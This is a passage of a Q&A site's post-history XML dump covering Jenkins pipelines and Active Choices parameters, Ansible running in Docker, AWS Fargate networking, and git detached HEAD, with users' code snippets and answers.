safety.&#xD;&#xA;job.removeProperty(ParametersDefinitionProperty)&#xD;&#xA;&#xD;&#xA;job.addProperty(paramProp)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38543" PostHistoryTypeId="2" PostId="12551" RevisionGUID="4a041cbe-ef07-43f7-b0c5-3f2b18144841" CreationDate="2020-10-07T20:41:36.993" UserId="17761" Text="There may not be a way to make your idea work with submodules. When a Jenkins multibranch pipeline polls SCM for changes, it has no visibility into submodules. I verified this recently. The result in &quot;Scan Multibranch Pipeline Log&quot; was a `Communication error for url` response. The Jenkinsfile was not found, and so no build was triggered.&#xD;&#xA;&#xD;&#xA;The good news is that I discovered a straightforward way to achieve what we're after *without* using submodules. Have a look at the [Remote Jenkinsfile Provider Plugin](https://plugins.jenkins.io/remote-file/).&#xD;&#xA;&#xD;&#xA;When a pipeline is polling a repository to trigger new builds, it looks for two things for each branch:&#xD;&#xA;1. The polled branch has new SCM changes since the last build (HEAD is different).&#xD;&#xA;1. A Jenkinsfile exists in repository X on branch Y at path Z.&#xD;&#xA;&#xD;&#xA;In a multibranch pipeline's Build Configuration section, normally only one Mode is available to tell Jenkins where to find the Jenkinsfile: &quot;by Jenkinsfile&quot;. This mode allows us to specify Z (path) only; X and Y are *implicitly* set to the repository and branch being polled.&#xD;&#xA;&#xD;&#xA;What the Remote Jenkinsfile Provider Plugin gives us is a new Build Configuration Mode: &quot;by Remote Jenkins File Plugin&quot;. This mode allows us to *explicitly* set the repository, branch, and path for the Jenkinsfile - X, Y, *and* Z. In your example, X would be `ci-repo`, but *any* Jenkinsfile in *any* repository is fair game. You could have `ci-repo` be a submodule of `dev-repo` if it's convenient, but no such relationship is required to make this work.&#xD;&#xA;&#xD;&#xA;If desired, a &quot;Match branches&quot; option uses the *polled branch name* for Y, looking for a *remote* Jenkinsfile on a branch of the same name. For example, while polling `dev-repo/feature-123`, it would look for a Jenkinsfile on `ci-repo/feature-123`.&#xD;&#xA;&#xD;&#xA;As long as the Jenkinsfile exists at the specified location, the second criteria for triggering new builds will be satisfied. You'll see something like this in the pipeline's polling logs:&#xD;&#xA;&#xD;&#xA;    Looking up DR/dev-repo for branches&#xD;&#xA;    Checking branch master from DR/dev-repo&#xD;&#xA;    No local file defined. Skipping Source Code SCM probe, since Jenkinsfile will be provided by Remote Jenkins File Plugin&#xD;&#xA;        Met criteria&#xD;&#xA;    Scheduled build for branch: master&#xD;&#xA;&#xD;&#xA;Instructions for how to set this up, with screenshots, can be found on [the plugin's page](https://plugins.jenkins.io/remote-file/).&#xD;&#xA;&#xD;&#xA;**Caveat:** Pushing changes to a *remote* Jenkinsfile (`ci-repo`) will _not_ trigger any builds of the polling repository (`dev-repo`). If this behavior is desired, one solution would be to use webhooks. Another would be to create a pipeline that polls the *remote* Jenkinsfile's repository and builds other pipeline jobs as desired using the [build step](https://www.jenkins.io/doc/pipeline/steps/pipeline-build-step/), like so:&#xD;&#xA;&#xD;&#xA;    build(job: &quot;dev-repo/${BRANCH_NAME}&quot;, wait: false)" ContentLicense="CC BY-SA 4.0" />
  <row Id="38544" PostHistoryTypeId="5" PostId="12550" RevisionGUID="8d6f2a1f-169d-49b7-a56d-7cb26e1cf0a5" CreationDate="2020-10-07T20:53:31.867" UserId="4115" Comment="added 39 characters in body" Text="It sounds to me like you're already aware of this, but there are a couple easy ways to do this, and a couple hard ways to do this.&#xD;&#xA;&#xD;&#xA;The easy ways:&#xD;&#xA;&#xD;&#xA;* Make your repo available for checkout without SSH keys or authentication credentials.&#xD;&#xA;* Manually add an SSH keypair for repo checkout to the Jenkins user on your Jenkins master node (since Active Choice Groovy scripts run on the master node) (i.e. don't use the Credentials store).&#xD;&#xA;&#xD;&#xA;The hard ways:&#xD;&#xA;&#xD;&#xA;* Use the Jenkins Java API in your Active Choices code to extract credentials from the credentials store.  API docs are available for [the credentials store](https://javadoc.jenkins.io/plugin/credentials/) and the [ssh credentials type](https://javadoc.jenkins.io/plugin/ssh-credentials/).  There is no documentation on how to use the Java classes available in these plugins, so it's up to you to figure it out yourself.&#xD;&#xA;* Create a secondary &quot;meta&quot; job to update the parameters in the original Jenkins job (including Active Choices scripts) - I describe this a bit below.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you can't do any of the easy solutions for security reasons, there isn't an easy, straightforward way to update Active Choice parameters based on the contents of a git repo.  This is because:&#xD;&#xA;&#xD;&#xA;1. Like you said, &quot;during pre-pipeline stage (i.e. Active Choices parameter) Hudson extensions such as withCredentials or sshAgent are not accessible&quot;.&#xD;&#xA;2. The configuration for parameters, including Active Choice parameters, is taken from the *previous* run of that Pipeline, not the current one.  Meaning that, to update your parameters from within your Pipeline code, you'll need to run your Pipeline, which defeats the point of what you want to do.&#xD;&#xA;&#xD;&#xA;There is a solution for 1., which is to use Scripted Pipelines instead of Declarative, but that won't get around the problems of 2.&#xD;&#xA;&#xD;&#xA;The solution that I came up with when I ran into this issue is to create a second Jenkins job (I call it a &quot;meta&quot; job) which updates the parameters of the original job, including Active Choices scripts.  This second meta job is triggered by a git hook on the repository that I use to fill the options in my Active Choices parameters.  This has the advantage that you do not need to run the original job's Pipeline in order to update its parameters, solving the issues in 2.  Also, because it's still a Pipeline job, you can use normal Pipeline steps, thus allowing you to access the credentials store.&#xD;&#xA;&#xD;&#xA;My job looks (roughly) like this - I simplified it a lot to make it fit here, so you'll need to do a bunch of tweaking to get it working the way you want.  There are probably a ton of errors and bugs in this because I ripped apart an existing script to make this.  A few things to note:&#xD;&#xA;&#xD;&#xA;* This makes heavy use of Jenkins APIs, so you'll need to either disable the script sandbox or whitelist a ton of functions in the Jenkins security manager in order to get this to run&#xD;&#xA;* This is still technically a Scripted Pipeline even though it looks much more like a normal Groovy script than a Pipeline file&#xD;&#xA;* Because this is a Pipeline, you can use steps like `withCredentials` to check out repositories using the credentials store.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;import groovy.json.JsonOutput&#xD;&#xA;&#xD;&#xA;import org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript &#xD;&#xA;&#xD;&#xA;import org.biouno.unochoice.*&#xD;&#xA;import org.biouno.unochoice.model.*&#xD;&#xA;&#xD;&#xA;def metadataUrl = 'ssh://git@**************/metadata.git'&#xD;&#xA;def metadataBranch = 'master'&#xD;&#xA;&#xD;&#xA;def metadata = [:]&#xD;&#xA;&#xD;&#xA;node('master') {&#xD;&#xA;  git(&#xD;&#xA;    url: metadataUrl,&#xD;&#xA;    branch: metadataBranch,&#xD;&#xA;    credentialsId: 'jenkins',&#xD;&#xA;    changelog: false,&#xD;&#xA;  )&#xD;&#xA;&#xD;&#xA;  def dataDir = &quot;${pwd()}/myJsonFiles&quot;&#xD;&#xA;&#xD;&#xA;  // can't use File.eachFileMatch() due to:&#xD;&#xA;  // https://wiki.jenkins.io/display/JENKINS/Pipeline+CPS+method+mismatches&#xD;&#xA;  def files = new File(dataDir).list().findAll() { f-&gt;&#xD;&#xA;    FilenameUtils.getExtension(f) == 'json'&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  files.each() { f-&gt;&#xD;&#xA;    // TODO: nice error messages if files are misformatted&#xD;&#xA;    def name = FilenameUtils.removeExtension(f)&#xD;&#xA;    def data = readJson(file: &quot;${dataDir}/${f}&quot;)&#xD;&#xA;    metadata[name] = data&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;// ChoiceParameterDefinition is the class name for the built-in static choice parameter.&#xD;&#xA;// CascadeChoiceParameter is the class name for the Active Choices dynamic choice parameter.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;// begin first parameter&#xD;&#xA;def fileParam = new ChoiceParameterDefinition(&#xD;&#xA;  'file',&#xD;&#xA;  'The JSON file to use',&#xD;&#xA;)&#xD;&#xA;fileParam.setChoices(metadata.keySet())&#xD;&#xA;// end first parameter&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;// begin second parameter&#xD;&#xA;def metadataJson = JsonOutput.toJson(metadata)&#xD;&#xA;&#xD;&#xA;def scriptText = &quot;&quot;&quot;&#xD;&#xA;import groovy.json.JsonSlurper&#xD;&#xA;&#xD;&#xA;def slurper = new JsonSlurper()&#xD;&#xA;def metadata = slurper.parseText('${metadataJson}')&#xD;&#xA;&#xD;&#xA;return metadata[file]['versions']&#xD;&#xA;&quot;&quot;&quot;&#xD;&#xA;def mainScript = new SecureGroovyScript(scriptText, true)&#xD;&#xA;def fallbackScript = new SecureGroovyScript('return [&quot;Error encountered - see logs&quot;]', true)&#xD;&#xA;def activeChoiceScript = new GroovyScript(mainScript, fallbackScript)&#xD;&#xA;&#xD;&#xA;def versionParam = new CascadeChoiceParameter(&#xD;&#xA;  'version', &#xD;&#xA;  'The version to use',&#xD;&#xA;  activeChoiceScript,&#xD;&#xA;  'PT_SINGLE_SELECT',&#xD;&#xA;  'file',&#xD;&#xA;  false,&#xD;&#xA;)&#xD;&#xA;// end second parameter&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;def paramProp = new ParametersDefinitionProperty(fileParam, versionParam)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;// this is the full name of the actual job which needs dynamic parameters&#xD;&#xA;def job = Jenkins.instance.getItemByFullName('UNIX/deploy_to_environment/master')&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;// There is no &quot;setProperty&quot; - we need to remove and replace.&#xD;&#xA;// removeProperty is safe to run even if no matching properties are set on the job.&#xD;&#xA;// However, this method only removes one property per method call.&#xD;&#xA;// Theoretically, this means the job could accumulate multiple conflicting&#xD;&#xA;// ParametersDefinitionProperty properties.&#xD;&#xA;// TODO: run removeProperty in a while loop to eliminate all matching properties for extra safety.&#xD;&#xA;job.removeProperty(ParametersDefinitionProperty)&#xD;&#xA;&#xD;&#xA;job.addProperty(paramProp)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38545" PostHistoryTypeId="2" PostId="12552" RevisionGUID="02548548-c16f-40cf-b559-dfcb2bdd876d" CreationDate="2020-10-07T21:27:21.333" UserId="24232" Text="I'm not sure quite how to phrase this question. I'd like to learn either by answer here or sharing a reference to read from: ***How do I build a pipeline with versioned build artifact?***&#xD;&#xA;&#xD;&#xA;I've inherited an established Jenkins build infrastructure that I recognize needs to change. This is especially evident because we want to move into a modern build approach with branches (dev, main, etc.).&#xD;&#xA;&#xD;&#xA;This is basically how our builds work&#xD;&#xA;&#xD;&#xA;    lib-A    is created first&#xD;&#xA;    lib-B    is created next&#xD;&#xA;    lib-C    is the last library created&#xD;&#xA;    prod-DA  uses lib-A&#xD;&#xA;    prod-EC  uses lib-C&#xD;&#xA;    prod-FAB uses both lib-A and lib-B&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Our current build infrastructure is what I'd describe as a *dev* infrastructure. In that it always uses latest.&#xD;&#xA;&#xD;&#xA;When lib's A, B and C are created they are dropped into a shared folder to be used by everyone else.&#xD;&#xA;&#xD;&#xA;When prod's DA, EC and FAB need to link with the library they just pull from the shared folder.&#xD;&#xA;&#xD;&#xA;This is what I inherited. It's *adequate* for a single branch, *riding-latest* build system.&#xD;&#xA;&#xD;&#xA;Is there a resource, pattern, book, website or toolset to help me learn how to change this to a versioned artifact scenario? Or how to convert to a mechanism that will scale and support branching?&#xD;&#xA;&#xD;&#xA;I don't really even know what to call this, I'm really wanting to learn what you have to share.&#xD;&#xA;&#xD;&#xA;Thank you for your patience." ContentLicense="CC BY-SA 4.0" />
  <row Id="38546" PostHistoryTypeId="1" PostId="12552" RevisionGUID="02548548-c16f-40cf-b559-dfcb2bdd876d" CreationDate="2020-10-07T21:27:21.333" UserId="24232" Text="How does one build a build pipeline with versioned build artifacts?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38547" PostHistoryTypeId="3" PostId="12552" RevisionGUID="02548548-c16f-40cf-b559-dfcb2bdd876d" CreationDate="2020-10-07T21:27:21.333" UserId="24232" Text="&lt;jenkins&gt;&lt;build-pipeline&gt;&lt;builds&gt;&lt;artifacts&gt;&lt;versioning&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38548" PostHistoryTypeId="2" PostId="12553" RevisionGUID="00f5ff04-4a80-45fd-9701-cc8b973a60c7" CreationDate="2020-10-07T21:35:00.243" UserId="23745" Text="I'm trying to deploy a build via Jenkins pipeline using `agent` `docker` and Ansible playbook but it fails on `Gathering Facts` stage as shown below:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;TASK [Gathering Facts] *********************************************************&#xD;&#xA;fatal: [destination.box.local]: UNREACHABLE! =&gt; {&quot;changed&quot;: false, &quot;msg&quot;: &quot;argument must be an int, or have a fileno() method.&quot;, &quot;unreachable&quot;: true}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Similar Jenkins pipeline using `agent` `any` and Ansible not from docker (local installation) will do the job w/o any hiccups.&#xD;&#xA;&#xD;&#xA;Agent section from Jenkins pipeline looks like:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;   agent {&#xD;&#xA;      docker {&#xD;&#xA;         image 'artifactory.devbox.local/docker-local/myrepo/jdk8:latest'&#xD;&#xA;         args '-v $HOME/.m2:/root/.m2 -v /etc/ansible:/etc/ansible -v $HOME/.ansible/tmp:/.ansible/tmp -v $HOME/.ssh:/root/.ssh'&#xD;&#xA;      }&#xD;&#xA;   }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Any thought what I need to add to it to let Ansible run a playbook?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38549" PostHistoryTypeId="1" PostId="12553" RevisionGUID="00f5ff04-4a80-45fd-9701-cc8b973a60c7" CreationDate="2020-10-07T21:35:00.243" UserId="23745" Text="Ansible fails in Jenkins pipeline when run from docker" ContentLicense="CC BY-SA 4.0" />
  <row Id="38550" PostHistoryTypeId="3" PostId="12553" RevisionGUID="00f5ff04-4a80-45fd-9701-cc8b973a60c7" CreationDate="2020-10-07T21:35:00.243" UserId="23745" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38551" PostHistoryTypeId="5" PostId="12553" RevisionGUID="be9434a5-de11-4754-b58f-613b76a2da18" CreationDate="2020-10-08T12:39:11.430" UserId="23745" Comment="added 1991 characters in body" Text="I'm trying to deploy a build via Jenkins pipeline using `agent` `docker` and Ansible playbook but it fails on `Gathering Facts` stage as shown below:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;TASK [Gathering Facts] *********************************************************&#xD;&#xA;fatal: [destination.box.local]: UNREACHABLE! =&gt; {&quot;changed&quot;: false, &quot;msg&quot;: &quot;argument must be an int, or have a fileno() method.&quot;, &quot;unreachable&quot;: true}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Similar Jenkins pipeline using `agent` `any` and Ansible not from docker (local installation) will do the job w/o any hiccups.&#xD;&#xA;&#xD;&#xA;Agent section from Jenkins pipeline looks like:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;pipeline {&#xD;&#xA;&#xD;&#xA;    agent {&#xD;&#xA;       docker {&#xD;&#xA;          image 'artifactory.devbox.local/docker-local/myrepo/jdk8:latest'&#xD;&#xA;          args '-v $HOME/.m2:/root/.m2 -v /etc/ansible:/etc/ansible -v $HOME/.ansible/tmp:/.ansible/tmp -v $HOME/.ssh:/root/.ssh'&#xD;&#xA;       }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;   parameters {&#xD;&#xA;      string(&#xD;&#xA;              name: 'PROFILE',&#xD;&#xA;              defaultValue: 'dev',&#xD;&#xA;              description: 'Select profile to build?'&#xD;&#xA;      )&#xD;&#xA;      string(&#xD;&#xA;              name: 'HOST',&#xD;&#xA;              defaultValue: 'dev',&#xD;&#xA;              description: 'Which Outbound Host(s) group to deploy to?'&#xD;&#xA;      )&#xD;&#xA;   }&#xD;&#xA;&#xD;&#xA;   stages {&#xD;&#xA;&#xD;&#xA;      stage('Artifactory configuration') {&#xD;&#xA;         steps {&#xD;&#xA;            rtMavenDeployer(&#xD;&#xA;                    id: &quot;MAVEN_DEPLOYER&quot;,&#xD;&#xA;                    serverId: 'Artifactory',&#xD;&#xA;                    releaseRepo: &quot;libs-release-local&quot;,&#xD;&#xA;                    snapshotRepo: &quot;libs-snapshot-local&quot;&#xD;&#xA;            )&#xD;&#xA;&#xD;&#xA;            rtMavenResolver(&#xD;&#xA;                    id: &quot;MAVEN_RESOLVER&quot;,&#xD;&#xA;                    serverId: 'Artifactory',&#xD;&#xA;                    releaseRepo: &quot;libs-release&quot;,&#xD;&#xA;                    snapshotRepo: &quot;libs-snapshot&quot;&#xD;&#xA;            )&#xD;&#xA;         }&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;      stage('Maven build') {&#xD;&#xA;         steps {&#xD;&#xA;            withEnv(['JAVA_HOME=/usr/lib/jvm/java-1.8-openjdk', 'MAVEN_HOME=/usr/share/maven']) {&#xD;&#xA;               rtMavenRun(&#xD;&#xA;                       pom: 'pom.xml',&#xD;&#xA;                       goals: 'clean',&#xD;&#xA;                       deployerId: &quot;MAVEN_DEPLOYER&quot;,&#xD;&#xA;                       resolverId: &quot;MAVEN_RESOLVER&quot;&#xD;&#xA;               )&#xD;&#xA;            }&#xD;&#xA;         }&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;      stage ('Publish build') {&#xD;&#xA;         steps {&#xD;&#xA;            rtPublishBuildInfo (&#xD;&#xA;                    serverId: 'Artifactory',&#xD;&#xA;            )&#xD;&#xA;         }&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;      stage('deploy') {&#xD;&#xA;         when{&#xD;&#xA;            anyOf {&#xD;&#xA;               branch 'master'&#xD;&#xA;               branch 'develop'&#xD;&#xA;            }&#xD;&#xA;         }&#xD;&#xA;         steps {&#xD;&#xA;            ansiblePlaybook(&#xD;&#xA;                    playbook: 'playbook.yml',&#xD;&#xA;                    extraVars: [&#xD;&#xA;                            profile: &quot;${params.PROFILE}&quot;,&#xD;&#xA;                            host: &quot;${params.HOST}&quot;&#xD;&#xA;                    ]&#xD;&#xA;            )&#xD;&#xA;         }&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;   }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Any thought what I need to add to it to let Ansible run a playbook?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38552" PostHistoryTypeId="2" PostId="12554" RevisionGUID="e1afcb70-ee13-40a4-b6e5-9cf235d8bc01" CreationDate="2020-10-08T13:07:48.613" UserId="23889" Text="I am running my application (*4 services*) in AWS Fargate. Containers are stored in AWS ECR. Last month I ended up with a huge bill for transferred data because of constant download container from ECR into Fargate tasks (*more than 1 TB last month due to issues inside my containers, so they were not able to start properly*). So I have decided to tweak networking somehow, but I am stuck.&#xD;&#xA;&#xD;&#xA;According to the topology picture below, I have split connections into 3 groups (subnet-to-subnet, subnet-to-AWS, subnet-to-net).&#xD;&#xA;&#xD;&#xA;In my initial network topology, I have used NAT Gateway between subnet with Fargate containers and the rest of the world (also ECR), which lead to massive costs (*NAT GW runtime + transfer*), but covered connection (2) and (3). So I have removed NAT GW.&#xD;&#xA;&#xD;&#xA;I have tried to implement VPC Endpoint between Fargate and ECR (2) -&gt; and I think this works fine.&#xD;&#xA;&#xD;&#xA;However I do not know how to solve (3), maybe **here is NAT necessary**?&#xD;&#xA;&#xD;&#xA;Also, I can observer some issues with a connection from subnet-to-subnet (1), also endpoint has no usage there, so this should be solved using basic AWS Routing?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Summ: How to improve networking for all three categories**, avoid downloading images from ECR through NAT GW and keep the connection to the remote server?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Thank you very much&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/RVE0S.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="38553" PostHistoryTypeId="1" PostId="12554" RevisionGUID="e1afcb70-ee13-40a4-b6e5-9cf235d8bc01" CreationDate="2020-10-08T13:07:48.613" UserId="23889" Text="How to improve network for Fargate based infrastructure" ContentLicense="CC BY-SA 4.0" />
  <row Id="38554" PostHistoryTypeId="3" PostId="12554" RevisionGUID="e1afcb70-ee13-40a4-b6e5-9cf235d8bc01" CreationDate="2020-10-08T13:07:48.613" UserId="23889" Text="&lt;amazon-web-services&gt;&lt;aws-vpc&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38555" PostHistoryTypeId="5" PostId="12553" RevisionGUID="b78f0b44-4106-4d80-88b4-c60eb048cefb" CreationDate="2020-10-08T14:45:10.473" UserId="23745" Comment="added 502 characters in body" Text="I'm trying to deploy a build via Jenkins pipeline using `agent` `docker` and Ansible playbook but it fails on `Gathering Facts` stage as shown below:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;TASK [Gathering Facts] *********************************************************&#xD;&#xA;fatal: [destination.box.local]: UNREACHABLE! =&gt; {&quot;changed&quot;: false, &quot;msg&quot;: &quot;argument must be an int, or have a fileno() method.&quot;, &quot;unreachable&quot;: true}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Similar Jenkins pipeline using `agent` `any` and Ansible not from docker (local installation) will do the job w/o any hiccups.&#xD;&#xA;&#xD;&#xA;Agent section from Jenkins pipeline looks like:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;pipeline {&#xD;&#xA;&#xD;&#xA;    agent {&#xD;&#xA;       docker {&#xD;&#xA;          image 'artifactory.devbox.local/docker-local/myrepo/jdk8:latest'&#xD;&#xA;          args '-v $HOME/.m2:/root/.m2 -v /etc/ansible:/etc/ansible -v $HOME/.ansible/tmp:/.ansible/tmp -v $HOME/.ssh:/root/.ssh'&#xD;&#xA;       }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;   parameters {&#xD;&#xA;      string(&#xD;&#xA;              name: 'PROFILE',&#xD;&#xA;              defaultValue: 'dev',&#xD;&#xA;              description: 'Select profile to build?'&#xD;&#xA;      )&#xD;&#xA;      string(&#xD;&#xA;              name: 'HOST',&#xD;&#xA;              defaultValue: 'dev',&#xD;&#xA;              description: 'Which Outbound Host(s) group to deploy to?'&#xD;&#xA;      )&#xD;&#xA;   }&#xD;&#xA;&#xD;&#xA;   stages {&#xD;&#xA;&#xD;&#xA;      stage('Artifactory configuration') {&#xD;&#xA;         steps {&#xD;&#xA;            rtMavenDeployer(&#xD;&#xA;                    id: &quot;MAVEN_DEPLOYER&quot;,&#xD;&#xA;                    serverId: 'Artifactory',&#xD;&#xA;                    releaseRepo: &quot;libs-release-local&quot;,&#xD;&#xA;                    snapshotRepo: &quot;libs-snapshot-local&quot;&#xD;&#xA;            )&#xD;&#xA;&#xD;&#xA;            rtMavenResolver(&#xD;&#xA;                    id: &quot;MAVEN_RESOLVER&quot;,&#xD;&#xA;                    serverId: 'Artifactory',&#xD;&#xA;                    releaseRepo: &quot;libs-release&quot;,&#xD;&#xA;                    snapshotRepo: &quot;libs-snapshot&quot;&#xD;&#xA;            )&#xD;&#xA;         }&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;      stage('Maven build') {&#xD;&#xA;         steps {&#xD;&#xA;            withEnv(['JAVA_HOME=/usr/lib/jvm/java-1.8-openjdk', 'MAVEN_HOME=/usr/share/maven']) {&#xD;&#xA;               rtMavenRun(&#xD;&#xA;                       pom: 'pom.xml',&#xD;&#xA;                       goals: 'clean',&#xD;&#xA;                       deployerId: &quot;MAVEN_DEPLOYER&quot;,&#xD;&#xA;                       resolverId: &quot;MAVEN_RESOLVER&quot;&#xD;&#xA;               )&#xD;&#xA;            }&#xD;&#xA;         }&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;      stage ('Publish build') {&#xD;&#xA;         steps {&#xD;&#xA;            rtPublishBuildInfo (&#xD;&#xA;                    serverId: 'Artifactory',&#xD;&#xA;            )&#xD;&#xA;         }&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;      stage('deploy') {&#xD;&#xA;         when{&#xD;&#xA;            anyOf {&#xD;&#xA;               branch 'master'&#xD;&#xA;               branch 'develop'&#xD;&#xA;            }&#xD;&#xA;         }&#xD;&#xA;         steps {&#xD;&#xA;            ansiblePlaybook(&#xD;&#xA;                    playbook: 'playbook.yml',&#xD;&#xA;                    extraVars: [&#xD;&#xA;                            profile: &quot;${params.PROFILE}&quot;,&#xD;&#xA;                            host: &quot;${params.HOST}&quot;&#xD;&#xA;                    ]&#xD;&#xA;            )&#xD;&#xA;         }&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;   }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;After adding `ansible_ssh_common_args='-o StrictHostKeyChecking=no'` to the Ansible inventory (or setting `host_key_checking = False` in the config) I have got that error:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;TASK [Gathering Facts] *********************************************************&#xD;&#xA;fatal: [destination.box.local]: UNREACHABLE! =&gt; {&quot;changed&quot;: false, &quot;msg&quot;: &quot;'getpwuid(): uid not found: 700'&quot;, &quot;unreachable&quot;: true}&#xD;&#xA;fatal: [ansible_ssh_common_args=-o StrictHostKeyChecking=no]: UNREACHABLE! =&gt; {&quot;changed&quot;: false, &quot;msg&quot;: &quot;[Errno -3] Try again&quot;, &quot;unreachable&quot;: true}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any thought what I need to add to it to let Ansible run a playbook?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38556" PostHistoryTypeId="2" PostId="12555" RevisionGUID="2c01d925-3b82-4811-9025-0251840457b6" CreationDate="2020-10-09T10:30:41.910" UserId="24036" Text="I am using the ansible shell module to compare the chain of 2 SSL certificate with openssl (they have the same chain):&#xD;&#xA;&#xD;&#xA;    openssl x509 -issuer -noout -in Certiticate1&#xD;&#xA;    openssl x509 -issuer -noout -in Certiticate2&#xD;&#xA;&#xD;&#xA;I register the output in variables chain_from_certificate1 and chain_from_certificate2 then i compares there standard output:&#xD;&#xA;&#xD;&#xA;    - name: Compare the Chain&#xD;&#xA;        fail:&#xD;&#xA;          msg: Error The chains aren't the same&#xD;&#xA;        when: chain_from_certificate1.stdout !=  chain_from_certificate2.stdout&#xD;&#xA;&#xD;&#xA;Ansible tell me that the chains are not similar (and it's false because they are).&#xD;&#xA;&#xD;&#xA;I think that the issue came from the comparison operator because the type of the variable are &quot;AnsibleUnsafeText&quot; and not string.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;My question how to compare 2 AnsibleUnsafeText ? and it's necessary to convert them to string before comparison ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thank you in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="38557" PostHistoryTypeId="1" PostId="12555" RevisionGUID="2c01d925-3b82-4811-9025-0251840457b6" CreationDate="2020-10-09T10:30:41.910" UserId="24036" Text="Convert AnsibleUnsafeText to String" ContentLicense="CC BY-SA 4.0" />
  <row Id="38558" PostHistoryTypeId="3" PostId="12555" RevisionGUID="2c01d925-3b82-4811-9025-0251840457b6" CreationDate="2020-10-09T10:30:41.910" UserId="24036" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38559" PostHistoryTypeId="5" PostId="2284" RevisionGUID="de0c7e5e-8beb-4cc6-b268-bec7fb73acc8" CreationDate="2020-10-09T14:47:40.970" UserId="23334" Comment="Anyway it is marked as answer , &amp; Is better to avoid such requests while answering .. Sorry if I am wrong !!" Text="The &quot;normal&quot; way of working with GIT is by checking out branches. HEAD is a &quot;pointer&quot; to the latest commit in that branch, and GIT will allow you to commit new changes after that pointer.&#xD;&#xA;&#xD;&#xA;However, as you figured out, it is possible to check out a specific commit hash, if you want to. In this situation, if you make changes and try to commit them, you will be unable to do so, since you are not at HEAD, and GIT will not allow you to commit your changes. &#xD;&#xA;&#xD;&#xA;Most of the time, detached HEAD (checking out an older commit) is used if you want to test how your project ran at a certain point in time. &#xD;&#xA;&#xD;&#xA;If you need to make changes to the code or need to build it using Jenkins MultiBranch Pipelines, for example, it is also possible to create a new branch from that specific commit by running:&#xD;&#xA;&#xD;&#xA;`git branch my_new_fancy_branch 7y8u33ii`&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;`git checkout -b my_new_fancy_branch 7y8u33ii`&#xD;&#xA;&#xD;&#xA;... where `7y8u33ii` is the hash you provided in the question. For this new branch, `7y8u33ii` will be HEAD, so you will be able to commit new changes. If you need to get your code into the branch from which you created this new branch from, you will need to do a merge, but this is another discussion altogether.  &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38560" PostHistoryTypeId="24" PostId="2284" RevisionGUID="de0c7e5e-8beb-4cc6-b268-bec7fb73acc8" CreationDate="2020-10-09T14:47:40.970" Comment="Proposed by 23334 approved by 354, 40 edit id of 1284" ContentLicense="CC BY-SA 4.0" />
